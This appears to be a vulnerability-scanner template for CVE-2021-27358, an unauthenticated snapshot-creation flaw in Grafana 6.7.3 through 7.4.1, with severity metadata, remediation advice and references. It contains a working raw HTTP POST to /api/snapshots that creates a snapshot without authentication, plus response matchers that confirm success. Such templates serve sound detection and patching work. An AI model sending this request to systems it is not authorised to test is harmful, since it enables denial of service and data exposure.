Grafana Unauthenticated Snapshot Creation

id: CVE-2021-27358

info:
  name: Grafana Unauthenticated Snapshot Creation
  author: pdteam,bing0o
  severity: high
  description: Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
  impact: |
    An attacker can create snapshots of sensitive data without authentication, potentially leading to unauthorized access and data exposure.
  remediation: |
    Upgrade to the latest version of Grafana that includes a fix for CVE-2021-27358 or apply the provided patch to mitigate the vulnerability.
  reference:
    - https://phabricator.wikimedia.org/T274736
    - https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27358
    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md
    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md#742-2021-02-17
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2021-27358
    cwe-id: CWE-306
    epss-score: 0.02415
    epss-percentile: 0.89689
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query: title:"Grafana"
  tags: cve2021,cve,grafana,unauth

http:
  - raw:
      - |
        POST /api/snapshots HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"deleteUrl":'
          - '"deleteKey":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"
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